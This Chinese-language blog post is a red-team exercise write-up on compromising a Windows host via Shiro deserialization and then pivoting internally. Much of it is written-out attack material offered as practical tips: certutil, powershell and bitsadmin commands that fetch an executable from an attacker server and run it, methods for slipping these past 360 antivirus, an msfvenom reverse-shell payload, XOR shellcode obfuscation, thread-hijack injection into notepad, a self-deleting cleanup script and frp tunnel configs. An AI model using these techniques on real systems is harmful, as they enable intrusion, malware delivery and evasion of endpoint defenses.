前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次攻防演练tips | 攻防tips

记一次攻防演练tips | 攻防tips

作者头像
意大利的猫
发布2020-12-17 11:42:40
1.1K0
发布2020-12-17 11:42:40
举报
文章被收录于专栏:漫流砂漫流砂

现在我依稀记得大家在9月25日晚集体过年的场景,没想到的是:那tm只是开始 这一段时间一直在打攻防,重复、单调、无长进,希望早日脱离苦海吧

下面以攻防过程中的一段经历来展现一些有意思的tips


0x01 信息收集

关于信息收集,已经有方法论类的东西总结的很好了,我只说我喜欢的,以百度代替真实站点

fofa

  • domain="baidu.com"
  • host="baidu.com"
  • title="baidu"
  • title="百度"
  • title="百度一下,你就知道"
  • body="(京)-经营性-2017-0020"
  • body="京公网安备11000002000001号"
  • body="京ICP证030173号"
  • icon_hash="-1507567067"
  • cert="baidu.com"

组合起来就是:

  • (host="baidu.com" || domain="baidu.com" || title="baidu" || title="百度" || title="百度一下,你就知道" || body="(京)-经营性-2017-0020" || body="京公网安备11000002000001号" || body="京ICP证030173号" || icon_hash="-1507567067" || cert="baidu.com") && country="CN" && region!="HK" && region!="TW"

导出结果可以使用fofa客户端

子域名挖掘

  • OneforAll
  • subDomainsBrute
  • theHarvester

邮箱

  • Google
    • site:github.com @baidu.com
  • theHarvester
    • 挂代理

0x02 资产梳理

goby 内测版

  • 安装好插件
  • 勾选 upnp等协议的发现
  • 给定的全部端口

Nmap 辅助

  • -sV
  • -O
  • --script=banner,vuln,exploit,brute

0x03 摸点

  • 网络设备、安全设备的默认口令
  • Weblogic、Struts2 远程代码执行
  • tomcat 默认口令
  • shiro 反序列化

这次的目标就是从 shiro 默认key 反序列化开始的

默认key,使用 CommonsCollections10 测试是否出网

稳了呀!

0x04 getshell

下马,上线

代码语言:javascript
复制
certutil -urlcache -split -f http://xx.xx.xx.xx/robots.txt C:\Users\admin\a.exe && C:\Users\admin\a.exe

在cs上等了很久也没有等到上线,到vps上一看,发现目标并没有发起下载请求,心中暗叫一声不好,估计有edr

tasklist 看一下

果然,有360,这个时候就需要考虑两件事了

  • 下载动作需要免杀
  • 木马需要免杀

360 是出了名的疯, 起个powershell,vbs没干啥就会拦截

但是,作为一个怀旧(啥也不会)的人,我还是打算把之前的方法试一试

  1. powershell
代码语言:javascript
复制
powershell (new-object System.Net.WebClient).DownloadFile(' http://xx.xx.xx.xx/robots.txt','C:\Users\admin\a.exe');start-process 'C:\Users\admin\a.exe'
  1. bitsadmin
代码语言:javascript
复制
bitsadmin /transfer n http://xx.xx.xx.xx/robots.txt C:\Users\admin\a.exe && C:\Users\admin\a.exe

还有很多,具体参照下面这篇文章

https://xz.aliyun.com/t/1649#toc-5

但是无一意外的被360干掉,没招了,只能自力更生了


接下来就是本文的重点了

powershell

正常的powershell下载文件确实会被干掉:

但是可以通过

代码语言:javascript
复制
echo (new-object System.Net.WebClient).DownloadFile('http://192.168.31.93:8000/tomcat.exe','C:/Users/test/cc.exe')| powershell -

来进行绕过:

但是要注意,如果目标目录为桌面或者system32,360仍然会产生提醒,但是文件仍然会下载下来,且可以正常执行:

certutil

如果目标机器较老,很可能不存在powershell,此时就需要使用一些老方法,即certutil

certutil绕过360的方式网上已经有了(记一次渗透测试后引发的小扩展),

这里再提一个certutil编码解码。

windows不像linux,自带base64编码解码,但是 certutil 可以

代码语言:javascript
复制
certutil -encode x.exe x.txt

certutil -decode x.txt x.exe

通过编码指令将exe编码生成txt文件,然后通过 echo 写入,再调用 certutil 解码还原为PE文件

但是此时还有一个问题,就是echo无法一次性写入,需要换行,但是马编码后太长,所以不太方便。

暂时想到两个解决办法:

  • python脚本边读本地txt边echo到对方服务器
  • 写一个小程序,作用是在当前目录输出txt,再通过压缩的方式压缩程序大小,再通过certutil编码写入解码执行

木马免杀

解决了下载问题,接下来就是木马免杀,这次我就不再怀旧了,毕竟也没啥用,直接上部分干货吧

用c写木马,一般绕不过两个问题:

  • shellcode编码免杀
  • shellcode加载方式免杀

单纯使用metaslpoit生成shellcode:

代码语言:javascript
复制
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.31.93 LPORT=1234 -f c > ~/Desktop/text.c

不管使用什么加载方式,如果只是单纯的加载这种shellcode,是一定会被杀毒软件查杀的,网上有人提出用msfvenom自带的编码器编码,我尝试了一下,仍然会被火绒kill,所以这里可以自己去编码:

代码语言:javascript
复制
    int key = 0x1a;
    unsigned char shellcode[sizeof(buf)] = "";
    for (int i = 0; i < sizeof(buf) - 1; i++)
    {
        shellcode[i] = (buf[i] ^ key) - 0x4;
    }

就这样一个很简单的异或+减去一个随机字符,就可以绕过杀软对shellcode 的静态查杀,当然木马也需要进行相应的解码。

shellcode加载方式现在也有很多,传统的方法是开辟一块地址空间存放shellcode,并将EIP/RIP指向该地址。

我这里选择线程注入的方式来做到隐蔽和免杀。

使用

代码语言:javascript
复制
CreateProcessA(NULL, (LPSTR)"notepad", NULL, NULL, FALSE, NULL, NULL, NULL, &si, &pi);

创建notepad进程,然后开辟一块Buffer,将 shellcode 写入 buffer,再使用

代码语言:javascript
复制
GetThreadContext(pi.hThread, &ctx);
ctx.Rip = (DWORD64)lpBuffer;

开辟一块线程并将 rip 指向buffer,就可执行对应的shellcode。通过此方法即可做到免杀,且进程为notepad,隐蔽性极强:

这里再提一个隐蔽的tips,就是自删除,我采用的方式是bat+自解压(自解压的详细操作在phishing中),这里附上bat脚本:

代码语言:javascript
复制
@ECHO OFF
set a=y.exe                            rem 定义a为马的名称
set b="%cd%\%a%"                rem 定义b为马的路径    
del /f /a /q %sfxcmd%        rem 删除自解压程序
del /f /a /q %b%                rem 删除马
del /f /a /q %0%                rem 删除bat自身

0x05 内网渗透

我对于攻防比赛中的内网渗透是及其反感的,迫于得分,所以不得不去做一些体力活,但是这种东西做的再多也没有意义

frp 设置socks5代理并进行端口映射

公网vps frps.ini

代码语言:javascript
复制
[common]
bind_addr =0.0.0.0
bind_port =7000
token = 9iathybNR7KL7EHd

目标主机 frpc.ini

代码语言:javascript
复制
[common]
server_addr =VPS_IP
server_port =7000
token = 9iathybNR7KL7EHd

[socks_proxy]
type = tcp
remote_port =8010
plugin = socks5

开启socks并映射端口

代码语言:javascript
复制
frpc.exe -c frpc.ini

永恒之蓝扫描

https://www.maritimecybersecurity.center/exploiting-windows-with-eternalblue-and-doublepulsar-with-metasploit/

mimikatz 抓明文密码&用密码撞库

这里附上之前的文章

弱口令

域控

  • ms14-068
  • Netlogon 特权提升漏洞(CVE-2020-1472)

就写到这吧,剩下的垃圾套路丢不起那人,大家把重点放在绕360下载和木马免杀就好


本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2020-12-04,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 NOP Team 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x01 信息收集
  • 0x02 资产梳理
  • 0x03 摸点
  • 0x04 getshell
  • 0x05 内网渗透
相关产品与服务
文件存储
文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档